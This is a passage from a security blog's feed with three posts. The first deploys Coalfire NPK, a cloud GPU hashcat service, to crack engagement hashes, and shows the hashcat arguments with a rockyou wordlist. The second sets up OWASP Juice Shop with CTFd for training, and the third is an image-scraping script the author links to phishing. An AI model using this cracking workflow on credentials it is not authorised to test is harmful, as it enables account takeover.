    +==> Downloading https://homebrew.bintray.com/bottles/jq-1.6.mojave.bottle.1.tar.gz
    +==> Downloading from https://akamai.bintray.com/71/71f0e76c5b22e5088426c971d5e795fe67abee7af6c2c4ae0cf4c0eb98ed2
    +######################################################################## 100.0%
    +==> Pouring jq-1.6.mojave.bottle.1.tar.gz
    +🍺  /usr/local/Cellar/jq/1.6: 18 files, 1MB
    +
    +

    I also needed to install the AWS CLI, which was simple enough.

    +

    Finally, I installed Terraform, and I was ready to go.

    +

    Coalfire NPK - Installation (and Hiccups)

    +

    With the prerequisites installed, I changed the npk-settings.json file.

    +
    +doyler@mbp:~/tools/npk/terraform# cp npk-settings.json.sample npk-settings.json
    +doyler@mbp:~/tools/npk/terraform# vi npk-settings.json
    +
    +

    Next, I setup my AWS credential file. For a good example, I recommend the following guide.

    +
    +doyler@mbp:~/tools/npk/terraform# mkdir ~/.aws
    +doyler@mbp:~/tools/npk/terraform# vi ~/.aws/credentials
    +
    +

    I verified my credential file and access with the 'iam get-user' AWS CLI command.

    +
    +doyler@mbp:~/tools/npk/terraform# aws --profile NPKuser iam get-user
    +{
    +    "User": {
    +        "Path": "/",
    +        "UserName": "NPKuser",
    +        "UserId": "A...XJ",
    +        "Arn": "arn:aws:iam::794951671079:user/NPKuser",
    +        "CreateDate": "2020-02-19T18:38:15+00:00"
    +    }
    +}
    +
    +

    With everything in place, I ran the deploy script. Unfortunately, I ran into some issues with attribute types.

    +
    +doyler@mbp:~/tools/npk/terraform# ./deploy.sh 
    +[*] Preparing to deploy NPK.
    +[*] Getting availabilityzones from AWS
    +[*] - us-east-1
    +[*] - us-east-2
    +[*] - us-west-1
    +[*] - us-west-2
    +[*] Checking service-linked roles for EC2 spot fleets
    +
    +An error occurred (NoSuchEntity) when calling the GetRole operation: The role with name AmazonEC2SpotFleetRole cannot be found.
    +
    +...
    +
    +Error: Incorrect attribute value type
    +
    +  on routetable.tf.json line 39, in resource.aws_route_table.us-west-2:
    +  39:             "route": {
    +  40:                "cidr_block": "0.0.0.0/0",
    +  41:                "gateway_id": "${aws_internet_gateway.us-west-2.id}"
    +  42:             },
    +
    +Inappropriate value for attribute "route": set of object required.
    +

    After looking through the NPK issues, this was due to my Terraform version.

    +
    +doyler@mbp:~/tools/npk/terraform# terraform --version
    +Terraform v0.12.20
    +
    +

    I removed the latest version, and installed v0.11.0.

    +
    +doyler@mbp:~/tools/npk/terraform# rm /usr/local/bin/terraform 
    +doyler@mbp:~/tools/npk/terraform# wget https://releases.hashicorp.com/terraform/0.11.0/terraform_0.11.0_darwin_amd64.zip
    +--2020-02-19 13:44:27--  https://releases.hashicorp.com/terraform/0.11.0/terraform_0.11.0_darwin_amd64.zip
    +Resolving releases.hashicorp.com (releases.hashicorp.com)... 151.101.129.183, 151.101.193.183, 151.101.1.183, ...
    +Connecting to releases.hashicorp.com (releases.hashicorp.com)|151.101.129.183|:443... connected.
    +HTTP request sent, awaiting response... 200 OK
    +Length: 15753806 (15M) [application/zip]
    +Saving to: ‘terraform_0.11.0_darwin_amd64.zip’
    +
    +terraform_0.11.0_darwin_amd 100%[===========================================>]  15.02M  28.8MB/s    in 0.5s    
    +
    +2020-02-19 13:44:28 (28.8 MB/s) - ‘terraform_0.11.0_darwin_amd64.zip’ saved [15753806/15753806]
    +
    +doyler@mbp:~/tools/npk/terraform# unzip terraform_0.11.0_darwin_amd64.zip 
    +Archive:  terraform_0.11.0_darwin_amd64.zip
    +  inflating: terraform               
    +doyler@mbp:~/tools/npk/terraform# rm terraform_0.11.0_darwin_amd64.zip 
    +doyler@mbp:~/tools/npk/terraform# mv terraform /usr/local/bin/
    +doyler@mbp:~/tools/npk/terraform# terraform --version
    +Terraform v0.11.0
    +
    +

    This time, when I ran the deploy script, everything finished!

    +
    +doyler@mbp:~/tools/npk/terraform# ./deploy.sh 
    +[*] Preparing to deploy NPK.
    +[*] Getting availabilityzones from AWS
    +[*] - us-east-1
    +[*] - us-east-2
    +[*] - us-west-1
    +[*] - us-west-2
    +[*] Checking service-linked roles for EC2 spot fleets
    +
    +...
    +
    +Apply complete! Resources: 0 added, 2 changed, 0 destroyed.
    +
    +Outputs:
    +
    +admin_create_user_command = aws --region us-west-2 --profile NPKuser cognito-idp admin-create-user --user-pool-id us-west-2_KF3XeeGEl --username redacted --user-attributes '[{"Name": "email", "Value": "redacted"}, {"Name": "email_verified", "Value": "true"}]' --temporary-password redacted
    +admin_password = redacted
    +cloudfront_url = d319eumg867kv9.cloudfront.net
    +s3_static_site_sync_command = aws --profile NPKuser s3 --region us-west-2 sync /Users/doyler/tools/npk/terraform/../site-content/ s3://npk-site-content-20200219184518947700000007
    +
    +

    I also had to subscribe to the Amazon Linux AMI with NVIDIA TESLA GPU Driver
    +
    , but that was simple enough.

    +

    When I went to the Cloudfront URL, I saw the NPK login screen.

    +

    Coalfire NPK - Login

    +

    First Cracking Attempt

    +

    When I logged in with the temporary password, I saw NPK dashboard.

    +

    NPK dashboard

    +

    I setup a new campaign to try and crack the descrypt hashes for my engagement.

    +

    New campaign

    +

    When I tried to start this campaign, I received some blank error messages, and nothing seemed to start.

    +

    Coalfire NPK - Error message

    +

    Coalfire NPK - Debugging

    +

    When I looked at the campaign status, I saw an error about the service-linked role.

    +
    +Error: Error requesting spot fleet: AuthFailure.ServiceLinkedRoleCreationNotPermitted: The provided credentials do not have permission to create the service-linked role for EC2 Spot Fleet.
    +
    +

    I found some documentation that indicated that my roles and permissions were incorrect.

    +

    First, I tried to manually create the JSON with the AWSServiceRoleForEC2Spot role.

    +
    +{
    +            "Sid": "8",
    +            "Effect": "Allow",
    +            "Action": [
    +                "iam:CreateServiceLinkedRole",
    +                "iam:PutRolePolicy"
    +            ],
    +            "Resource": "arn:aws:iam::*:role/aws-service-role/spot.amazonaws.com/AWSServiceRoleForEC2Spot",
    +            "Condition": {
    +                "StringLike": {
    +                    "iam:AWSServiceName": "spot.amazonaws.com"
    +                }
    +            }
    +        }
    +
    +

    I changed the npk_lambda_api_handler_policy and npk_lambda_api_handler_role, as I wasn't sure which of these the error was coming from.

    +

    Execution role

    +

    Unfortunately, this was still still failing, after updating npk_fleet_role_policy as well.

    +

    I created a GitHub issue, to try and get some help during my debugging process.

    +

    First, it looked like my return code was 254 instead of 255, so I edited the deploy scripts for this case.

    +
    +$ aws --profile NPKuser iam get-role --role-name AmazonEC2SpotFleetRole
    +
    +An error occurred (NoSuchEntity) when calling the GetRole operation: The role with name AmazonEC2SpotFleetRole cannot be found.
    +$ echo $?
    +254
    +
    +

    I ran the destroy command after changing the scripts, to ensure that everything was properly removed.

    +
    +doyler@mbp:~/tools/npk/terraform# terraform destroy
    +There are warnings related to your configuration. If no errors occurred,
    +Terraform will continue despite these warnings. It is a good idea to resolve
    +these warnings in the near future.
    +
    +Warnings:
    +
    +  * aws_cognito_user_pool.npk: "admin_create_user_config.0.unused_account_validity_days": [DEPRECATED] Use password_policy.temporary_password_validity_days instead
    +
    +...
    +
    +aws_s3_bucket.static_site: Destruction complete after 3m49s
    +
    +Destroy complete! Resources: 127 destroyed.
    +
    +

    When I ran the deploy script again, it looked like everything was again good to go.

    +
    +doyler@mbp:~/tools/npk/terraform# ./deploy.sh 
    +[*] Preparing to deploy NPK.
    +[*] Getting availabilityzones from AWS
    +[*] - us-east-1
    +[*] - us-east-2
    +[*] - us-west-1
    +[*] - us-west-2
    +[*] Checking service-linked roles for EC2 spot fleets
    +
    +...
    +
    +Apply complete! Resources: 0 added, 2 changed, 0 destroyed.
    +
    +Outputs: (redacted)
    +
    +

    Unfortunately, I ended up with a ton of different AWS errors, due to destroy not removing everything properly.

    +
    +aws_cognito_user_pool.npk: Modifications complete after 6s (ID: us-west-2_I8pd6eQTI)
    +
    +Error: Error applying plan:
    +
    +4 error(s) occurred:
    +
    +* aws_key_pair.us-west-1: 1 error(s) occurred:
    +
    +* aws_key_pair.us-west-1: Error import KeyPair: InvalidKeyPair.Duplicate: The keypair 'npk-key' already exists.
    +        status code: 400, request id: 864f0d74-f4e9-4d5b-bd0d-cda3bca377b0
    +* aws_dynamodb_table.settings: 1 error(s) occurred:
    +
    +* aws_dynamodb_table.settings: error creating DynamoDB Table: ResourceInUseException: Table already exists: Settings
    +* aws_subnet.us-west-2a: 1 error(s) occurred:
    +
    +* aws_subnet.us-west-2a: Error creating subnet: InvalidSubnet.Conflict: The CIDR '10.202.1.0/24' conflicts with another subnet
    +        status code: 400, request id: 4d5f16da-1aa4-4dbf-81de-ac6d404c74e5
    +* aws_dynamodb_table.campaigns: 1 error(s) occurred:
    +
    +* aws_dynamodb_table.campaigns: error creating DynamoDB Table: ResourceInUseException: Table already exists: Campaigns
    +
    +Terraform does not automatically rollback in the face of errors.
    +Instead, your Terraform state file has been partially updated with
    +any resources that successfully completed. Please address the error
    +above and apply again to incrementally change your infrastructure.
    +
    +

    Once I manually removed EVERYTHING, the deployment succeeded, and I no longer received these errors.

    +

    Second Attempt

    +

    With everything stood up again, I was able to successfully start a new campaign.

    +

    Campaign success

    +

    Going to the campaign page, it showed the price increasing and the status as "RUNNING".

    +

    Coalfire NPK - Campaign running

    +

    Unfortunately, this campaign ended quickly, and I did not crack the hash. When I took a look at the potfile, it seemed like hashcat wasn't really running.

    +
    +Credentials loaded
    +[ '--quiet',
    +  '-O',
    +  '--remove',
    +  '--potfile-path=/potfiles/i-0715e8ac226a8f026.potfile',
    +  '-o',
    +  '/potfiles/cracked_hashes-i-0715e8ac226a8f026.txt',
    +  '-w',
    +  '4',
    +  '-m',
    +  1500,
    +  '-a',
    +  0,
    +  '-r',
    +  '/root/npk-rules/NSAKEY.v2.dive.rule.txt',
    +  '/root/hashes.txt',
    +  '/root/npk-wordlist/rockyou.txt' ]
    +Found status report in output
    +nvmlDeviceGetFanSpeed(): Not Supported
    +
    +nvmlDeviceGetFanSpeed(): Not Supported
    +
    +nvmlDeviceGetFanSpeed(): Not Supported
    +
    +nvmlDeviceGetFanSpeed(): Not Supported
    +
    +nvmlDeviceGetFanSpeed(): Not Supported
    +
    +
    +Caught error: TypeError: Cannot read property 'split' of undefined
    +
    +
    +Died with code 255 and signal 0
    +
    +Dying words:
    +
    +

    After looking at more GitHub issues, I realized that my hash file was improperly formatted.

    +

    After fixing my hash file, everything was up and running properly.

    +

    Note that I was still receiving errors upon starting a campaign, but these would go away immediately and not negatively affect anything.

    +

    More errors

    +

    Campaign completed

    +

    Finally, the actual statistics while a campaign are running are neat, and cool enough to throw up on a dashboard or something similar.

    +

    Coalfire NPK - Statistics

    +

    Coalfire NPK - Conclusion

    +

    While I was able to finally get everything working, I do not think that I will move forward with NPK.

    +

    Everything was a bit difficult to setup, and it doesn't give any option for raw hashcat interaction.

    +

    I was hoping to be able to add brute-force options, or more easily upload different rules/dictionaries.

    +

    Finally, here is me trying to setup a mask manually, which obviously didn't work.

    +

    Manual mask

    +

    If you have any suggestions for cloud cracking platforms or configuration, then please let me know!

    +

    The post Coalfire NPK – Installation, Configuration, and Usage appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/coalfire-npk/feed + 0 + + + 4930
    + + OWASP Juice Shop + CTFd = Easy DIY CTFs! + https://www.doyler.net/security-not-included/owasp-juice-shop-ctfd + https://www.doyler.net/security-not-included/owasp-juice-shop-ctfd#respond + + + Sat, 29 Feb 2020 17:00:02 +0000 + + https://www.doyler.net/?p=4918 + + I recently setup OWASP Juice Shop + CTFd for some internal training/CTFs, and I wanted to share the process. OWASP Juice Shop - Introduction If you have never heard of Juice Shop, then I recommend you check out the OWASP … Continue reading

    +

    The post OWASP Juice Shop + CTFd = Easy DIY CTFs! appeared first on doyler.net.

    +]]>
    + I recently setup OWASP Juice Shop + CTFd for some internal training/CTFs, and I wanted to share the process.

    +

    +

    OWASP Juice Shop - Introduction

    +

    If you have never heard of Juice Shop, then I recommend you check out the OWASP project page.

    +

    There is also a useful GitHub repository with some more documentation as well as Docker images.

    +

    For more information on CTFd, you can go to their GitHub repository as well.

    +

    AWS Configuration

    +

    First, I setup a new EC2 instance for my server.

    +

    OWASP Juice Shop - EC2 instance

    +

    I decided to go with an Ubuntu image in the t2.micro tier.

    +

    Ubuntu server

    +

    T2.micro

    +

    When I finished my configuration, the instance was created and running.

    +

    OWASP Juice Shop - Instance launched

    +

    OWASP Juice Shop - Setup

    +

    With the EC2 instance up, it was time to connect to the server.

    +
    +root@kali:~/JuiceShop# chmod 600 juiceshop-keypair.pem 
    +root@kali:~/JuiceShop# ssh -i juiceshop-keypair.pem root@ec2-xxx.compute.amazonaws.com
    +Please login as the user "ubuntu" rather than the user "root".
    +
    +^CConnection to ec2-xxx.compute.amazonaws.com closed.
    +root@kali:~/JuiceShop# ssh -i juiceshop-keypair.pem ubuntu@ec2-xxx.compute.amazonaws.com
    +Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-1057-aws x86_64)
    +
    + * Documentation:  https://help.ubuntu.com
    + * Management:     https://landscape.canonical.com
    + * Support:        https://ubuntu.com/advantage
    +
    +  System information as of Thu Feb 13 18:45:46 UTC 2020
    +
    +  System load:  0.25              Processes:           89
    +  Usage of /:   13.8% of 7.69GB   Users logged in:     0
    +  Memory usage: 15%               IP address for eth0: 172.x.x.x
    +  Swap usage:   0%
    +
    +
    +0 packages can be updated.
    +0 updates are security updates.
    +
    +
    +The programs included with the Ubuntu system are free software;
    +the exact distribution terms for each program are described in the
    +individual files in /usr/share/doc/*/copyright.
    +
    +Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    +applicable law.
    +
    +To run a command as administrator (user "root"), use "sudo ".
    +See "man sudo_root" for details.
    +
    +ubuntu@ip-172-x-x-x:~$ 
    +
    +

    First, I setup Docker on my new system. I'm not going to cover the installation process, but the following two links should be more than enough to get you started:

    + +

    Next, I verified that Docker was up and running.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo systemctl status docker
    +● docker.service - Docker Application Container Engine
    +   Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)
    +   Active: active (running) since Thu 2020-02-13 18:48:54 UTC; 11s ago
    +     Docs: https://docs.docker.com
    + Main PID: 2989 (dockerd)
    +    Tasks: 8
    +   CGroup: /system.slice/docker.service
    +           └─2989 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
    +
    +Feb 13 18:48:54 ip-172-x-x-x dockerd[2989]: time="2020-02-13T18:48:54.312774297Z" level=warning msg="Your 
    +Feb 13 18:48:54 ip-172-x-x-x dockerd[2989]: time="2020-02-13T18:48:54.313013735Z" level=warning msg="Your 
    +Feb 13 18:48:54 ip-172-x-x-x dockerd[2989]: time="2020-02-13T18:48:54.313158796Z" level=warning msg="Your 
    +Feb 13 18:48:54 ip-172-x-x-x dockerd[2989]: time="2020-02-13T18:48:54.313436441Z" level=info msg="Loading 
    +Feb 13 18:48:54 ip-172-x-x-x dockerd[2989]: time="2020-02-13T18:48:54.483095557Z" level=info msg="Default 
    +Feb 13 18:48:54 ip-172-x-x-x dockerd[2989]: time="2020-02-13T18:48:54.601472072Z" level=info msg="Loading 
    +Feb 13 18:48:54 ip-172-x-x-x dockerd[2989]: time="2020-02-13T18:48:54.645443147Z" level=info msg="Docker d
    +Feb 13 18:48:54 ip-172-x-x-x dockerd[2989]: time="2020-02-13T18:48:54.645763489Z" level=info msg="Daemon h
    +Feb 13 18:48:54 ip-172-x-x-x systemd[1]: Started Docker Application Container Engine.
    +Feb 13 18:48:54 ip-172-x-x-x dockerd[2989]: time="2020-02-13T18:48:54.722256553Z" level=info msg="API list
    +
    +

    With Docker running, I grabbed the Juice Shop image.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo docker pull bkimminich/juice-shop
    +Using default tag: latest
    +latest: Pulling from bkimminich/juice-shop
    +c9b1b535fdd9: Pull complete 
    +32eb17722c57: Pull complete 
    +c6a4a31e8940: Pull complete 
    +3f01d5292e29: Pull complete 
    +9c9e52c1b57b: Pull complete 
    +1ca529479291: Pull complete 
    +919fac11c0d7: Pull complete 
    +d989e0d66366: Pull complete 
    +Digest: sha256:d9c1a537f416ee0b163df906184cb836c7ae38861dc48c5f0c4289efe955ae26
    +Status: Downloaded newer image for bkimminich/juice-shop:latest
    +docker.io/bkimminich/juice-shop:latest
    +
    +

    Next, I ran the image with the basic command, to ensure that it was working.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo docker run --rm -p 3000:3000 bkimminich/juice-shop
    +
    +> juice-shop@9.3.1 start /juice-shop
    +> node app
    +
    +info: All dependencies in ./package.json are satisfied (OK)
    +info: Detected Node.js version v12.14.1 (OK)
    +info: Detected OS linux (OK)
    +info: Detected CPU x64 (OK)
    +info: Required file index.html is present (OK)
    +info: Required file styles.css is present (OK)
    +info: Required file main-es2015.js is present (OK)
    +info: Required file tutorial-es2015.js is present (OK)
    +info: Required file polyfills-es2015.js is present (OK)
    +info: Required file runtime-es2015.js is present (OK)
    +info: Required file vendor-es2015.js is present (OK)
    +info: Required file main-es5.js is present (OK)
    +info: Required file tutorial-es5.js is present (OK)
    +info: Required file polyfills-es5.js is present (OK)
    +info: Required file runtime-es5.js is present (OK)
    +info: Required file vendor-es5.js is present (OK)
    +info: Configuration default validated (OK)
    +info: Port 3000 is available (OK)
    +info: Server listening on port 3000
    +
    +

    OWASP Juice Shop - Connection Issues

    +

    Unfortunately, I was unable to connect to the server on port 3000, as there were connection issues.

    +

    First, I verified that the service was listening on the right port.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo netstat -tulpn | grep LISTEN
    +tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      606/systemd-resolve 
    +tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      953/sshd            
    +tcp6       0      0 :::22                   :::*                    LISTEN      953/sshd            
    +tcp6       0      0 :::3000                 :::*                    LISTEN      4211/docker-proxy   
    +
    +

    I thought this might be an issue related to IPv6, so I disabled it everywhere.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1
    +net.ipv6.conf.all.disable_ipv6 = 1
    +ubuntu@ip-172-x-x-x:~$ sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1
    +net.ipv6.conf.default.disable_ipv6 = 1
    +ubuntu@ip-172-x-x-x:~$ sudo sysctl -w net.ipv6.conf.lo.disable_ipv6=1
    +net.ipv6.conf.lo.disable_ipv6 = 1
    +
    +

    After also adding these flags to the proper configs, I also restarted my server.

    +

    I was still running into some issues, so I also enabled IPv4 IP forwarding.

    +
    +net.ipv4.ip_forward = 1
    +
    +

    None of these changes allowed me to reach port 3000, so I reached out to my local AWS expert. As it turns out, EC2 blocks all ports other than 22 by default, so I had to add the proper Security Group and permissions.

    +

    Security Groups

    +

    Obviously, this worked, and I was able to connect to the Juice Shop web interface!

    +

    Juice Shop running

    +

    Before moving on, I also set my container to run as a daemon, so that I could have it in the background.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo docker run --rm -d -p 3000:3000 bkimminich/juice-shop
    +e7f104933039873ead5457017c4e56b83336737b8b416b5585afb70d795bc62f
    +
    +

    Juice Shop CLI

    +

    The juice-shop-ctf-cli package helps to prepare the environment for a CTF, so that was next on my list.

    +

    First, I installed npm on my server.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo apt-get install npm
    +Reading package lists... Done
    +Building dependency tree       
    +Reading state information... Done
    +
    +

    Next, I installed the cli package.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo npm install -g juice-shop-ctf-cli
    +npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142
    +npm WARN deprecated left-pad@1.3.0: use String.prototype.padStart()
    +/usr/local/bin/juice-shop-ctf -> /usr/local/lib/node_modules/juice-shop-ctf-cli/bin/juice-shop-ctf.js
    +/usr/local/lib
    +└─┬ juice-shop-ctf-cli@7.0.0 
    +
    +

    Before running the juice-shop-ctf tool, I also generated a secret key to use for the flags.

    +
    +ubuntu@ip-172-x-x-x:~$ date +%s | sha256sum | base64 | head -c 32 ; echo
    +Mxxx2
    +
    +

    With everything configured, it was time to generate my CTFd backup archive.

    +
    +ubuntu@ip-172-x-x-x:~$ juice-shop-ctf
    +
    +Generate OWASP Juice Shop challenge archive for setting up CTFd, FBCTF or RootTheBox score server
    +? CTF framework to generate data for? CTFd
    +? Juice Shop URL to retrieve challenges? http://ec2-xxx.compute.amazonaws.com:3000/
    +? Secret key  URL to ctf.key file? Mxxx2
    +? Insert a text hint along with each challenge? Free text hints
    +? Insert a hint URL along with each challenge? Free hint URLs
    +
    +Backup archive written to /home/ubuntu/OWASP_Juice_Shop.2020-02-13.CTFd.zip
    +
    +After the import you will have to set up the CTF name and administrator credentials again!
    +
    +For a step-by-step guide to import the ZIP-archive into CTFd, please refer to
    +https://pwning.owasp-juice.shop/part1/ctf.html#running-ctfd
    +
    +

    Before moving on, I also setup my environment variables and reran my container.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo docker run --rm -d -e "CTF_KEY=Mxxx2" -e "NODE_ENV=ctf" -p 3000:3000 bkimminich/juice-shop
    +ed6c95d6fb615897da5f7bf7f25eac0887da042ee93fb3b447fa7ff556ffaf5f
    +
    +

    CTFd Installation and Configuration

    +

    Before installing CTFd, I needed to setup Docker Compose.

    +
    +ubuntu@ip-172-x-x-x:~$ sudo curl -L "https://github.com/docker/compose/releases/download/1.25.3/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
    +  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
    +                                 Dload  Upload   Total   Spent    Left  Speed
    +100   617  100   617    0     0   3505      0 --:--:-- --:--:-- --:--:--  3505
    +100 16.4M  100 16.4M    0     0  13.2M      0  0:00:01  0:00:01 --:--:-- 17.4M
    +ubuntu@ip-172-x-x-x:~$ sudo chmod +x /usr/local/bin/docker-compose
    +ubuntu@ip-172-x-x-x:~$ docker-compose --version
    +docker-compose version 1.25.3, build d4d1b42b
    +
    +

    For more information on the CTFd setup, you can read the following wiki page.

    +

    First, I setup a random CTFd_secret_key.

    +
    +ubuntu@ip-172-x-x-x:~/CTFd$ python -c "import os; f=open('.ctfd_secret_key', 'a+'); f.write(os.urandom(64)); f.close()"
    +
    +

    Next, I ran the docker-compose up command to stand up the environment.

    +
    +ubuntu@ip-172-x-x-x:~/CTFd$ docker-compose up
    +ERROR: Couldn't connect to Docker daemon at http+docker://localhost - is it running?
    +
    +If it's at a non-standard location, specify the URL with the DOCKER_HOST environment variable.
    +ubuntu@ip-172-x-x-x:~/CTFd$ sudo docker-compose up
    +Creating network "ctfd_internal" with the default driver
    +Creating network "ctfd_default" with the default driver
    +Pulling db (mariadb:10.4)...
    +10.4: Pulling from library/mariadb
    +5c939e3a4d10: Pull complete
    +
    +... <snip> ...
    +
    +

    This took quite a while, but I also ran it in daemon mode once it finished.

    +
    +ubuntu@ip-172-x-x-x:~/CTFd$ sudo docker-compose up -d
    +Building ctfd
    +Step 1/15 : FROM python:3.7-alpine
    + ---> a5d195bb2a63
    +Step 2/15 : RUN apk update &&     apk add python python-dev linux-headers libffi-dev gcc make musl-dev py-pip mysql-client git openssl-dev
    + ---> Using cache
    + ---> 6c8cc986fd5c
    +Step 3/15 : RUN adduser -D -u 1001 -s /bin/bash ctfd
    + ---> Using cache
    +
    +... <snip> ...
    +
    +WARNING: Image for service ctfd was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.
    +Pulling cache (redis:4)...
    +4: Pulling from library/redis
    +bc51dd8edc1b: Pull complete
    +37d80eb324ee: Pull complete
    +392b7748dfaf: Pull complete
    +74c85bb8b632: Pull complete
    +65aba7f17311: Pull complete
    +d2987ccbb89f: Pull complete
    +Digest: sha256:b47838c3ab42d810741bfc59d63d02b825c0d52e1dbe9a5d76385e3cbf8395b8
    +Status: Downloaded newer image for redis:4
    +Creating ctfd_cache_1 ... done
    +Creating ctfd_db_1    ... done
    +Creating ctfd_ctfd_1  ... done
    +
    +

    With the installation complete, I verified that CTFd was listening on port 8000 as expected.

    +
    +ubuntu@ip-172-x-x-x:~/CTFd$ netstat -tulpn | grep LISTEN
    +(Not all processes could be identified, non-owned process info
    + will not be shown, you would have to be root to see it all.)
    +tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
    +tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
    +tcp6       0      0 :::22                   :::*                    LISTEN      -                   
    +tcp6       0      0 :::3000                 :::*                    LISTEN      -                   
    +tcp6       0      0 :::8000                 :::*                    LISTEN      -                   
    +
    +

    When I went to port 8000 in my browser, I saw the CTFd setup pages.

    +

    OWASP Juice Shop - CTFd setup

    +

    After the initial configuration, I went to the Backup -> Import page, so that I could add my Juice Shop flags.

    +

    Import CTF

    +

    Before I could select my file, I had to upload the zip file from earlier to my EC2 instance.

    +
    +root@kali:~/JuiceShop# scp -i juiceshop-keypair.pem ubuntu@ec2-xxx.compute.amazonaws.com:/home/ubuntu/OWASP_Juice_Shop.2020-02-13.CTFd.zip .
    +OWASP_Juice_Shop.2020-02-13.CTFd.zip                                          100%   15KB  52.3KB/s   00:00    
    +
    +

    When the archive was on my EC2 host, I could select it as my import file.

    +

    File selected

    +

    After the import, all the challenges (and flags) were pre-populated!

    +

    OWASP Juice Shop - Challenges populated

    +

    To test everything, I captured the 100-point DOM XSS flag.

    +

    Flag captured

    +

    As you can see, I am the only team on the scoreboard, and everything is working as expected.

    +

    Scoreboard

    +

    OWASP Juice Shop - Conclusion

    +

    This was surprisingly simple to get running, and I'm looking forward to using it alongside some training.

    +

    The only real downside is that there are write-ups for everything online. That said, this still functions great for an introduction to web application testing as well as CTFs.

    +

    I may investigate posting some write-ups for Juice Shop here as well, so stay tuned!

    +

    The post OWASP Juice Shop + CTFd = Easy DIY CTFs! appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/owasp-juice-shop-ctfd/feed + 0 + + + 4918
    + + Download Images from HTML – Including WordPress Posts + https://www.doyler.net/security-not-included/download-images-from-html + https://www.doyler.net/security-not-included/download-images-from-html#respond + + + Sat, 22 Feb 2020 17:00:27 +0000 + + https://www.doyler.net/?p=4869 + + I recently wanted to download images from HTML, and I wanted to share the script that I wrote for this. Download Images from HTML - Introduction I had some WordPress posts that I wanted to backup, but I wanted to … Continue reading

    +

    The post Download Images from HTML – Including WordPress Posts appeared first on doyler.net.

    +]]>
    + I recently wanted to download images from HTML, and I wanted to share the script that I wrote for this.

    +

    +

    Download Images from HTML - Introduction

    +

    I had some WordPress posts that I wanted to backup, but I wanted to make sure that I had the text as well as the images.

    +

    This was a simple script, but it solved a problem that I had had recently. That said, I could see myself using this or an updated version for some OSINT or phishing in the future.

    +

    This will be another short script like my last post, but I've been automating some small problems as of late!

    +

    Parsing the HTML

    +

    First, I tried to just use regex to parse out any img src attributes from my flat text file.

    +

    As I should have expected, and this Stack Overflow answer has warned, this proved to be annoying at best.

    +

    That said, I ended up using Beautiful Soup to parse the file and extract the links that I wanted. Then, I downloaded the images, and saved them locally.

    +

    Note that I was using a flat text file with multiple WordPress posts, but this process should work fine for any HTML document that you are interacting with.

    +

    The Code

    +

    You can find the code for this process below. Note that there is also a small loop with some regex in the middle of the script. This is to download the original image files from WordPress, as opposed to the resized versions. You should not see any adverse effects from this section, if your files do not end in what looks like a resolution (i.e.: -300x400.jpg).

    +

    Also, I'm sure that RecViking is proud of me for finally using some regex again.

    +
    +import bs4
    +import re
    +import requests
    +import shutil
    +import sys
    +from urllib import urlopen
    +
    +links = []
    +origLinks = []
    +
    +# https://stackoverflow.com/questions/18042661/using-bs4-to-extract-text-in-html-files
    +page = urlopen('posts.txt').read().decode('utf-8')
    +soup = bs4.BeautifulSoup(page, "html.parser")
    +for node in soup.findAll('img'):
    +    #print(node['src'])
    +    links.append(node['src'])
    +
    +# https://docs.python.org/3.4/library/re.html
    +for link in links:
    +    if re.search("-[0-9]*x[0-9]*\.jpg", link):
    +        origLinks.append(re.sub("-[0-9]*x[0-9]*\.jpg", ".jpg", link))
    +    else:
    +        origLinks.append(link)
    +
    +# https://www.dev2qa.com/how-to-download-image-file-from-url-use-python-requests-or-wget-module/
    +for link in origLinks:
    +    filename = ""
    +    if link.find('/'):
    +        filename = link.rsplit('/', 1)[1]
    +
    +    resp = requests.get(link, stream=True)
    +    localFile = open(filename, 'wb')
    +    resp.raw.decode_content = True
    +    shutil.copyfileobj(resp.raw, localFile)
    +    del resp
    +
    +

    When I executed this script, it downloaded all my images as expected!

    +
    +root@kali:~/Documents/imgExtract# ls
    +imgExtract.py  posts.txt
    +root@kali:~/Documents/imgExtract# python imgExtract.py 
    +root@kali:~/Documents/imgExtract# ls *.jpg
    +13177978_10206776407554475_5913650144102677662_n.jpg  IMG_1951.jpg
    +IMG_1119.jpg                                          IMG_1952.jpg
    +IMG_1120.jpg                                          IMG_1953.jpg
    +IMG_1136.jpg                                          IMG_1954.jpg
    +IMG_1195.jpg                                          IMG_2151-e1468181469199.jpg
    +IMG_1237.jpg                                          IMG_2160.jpg
    +IMG_1238.jpg                                          IMG_2161-e1468181539638.jpg
    +IMG_1245.jpg                                          IMG_2163.jpg
    +IMG_1247.jpg                                          IMG_2210-e1468181566583.jpg
    +IMG_1270.jpg                                          IMG_2418-e1468183375745.jpg
    +IMG_1271.jpg                                          IMG_2426.jpg
    +IMG_1934.jpg                                          IMG_2427.jpg
    +IMG_1936.jpg                                          IMG_2429-e1468183409990.jpg
    +IMG_1948.jpg
    +
    +

    As usual, you can find the code and any updates in my GitHub repository.

    +

    Please feel free to submit any pull requests, if you use this for anything else, especially offensive related.

    +

    Download Images from HTML - Conclusion

    +

    This was a simpler script, but it solved a problem that I was having.

    +

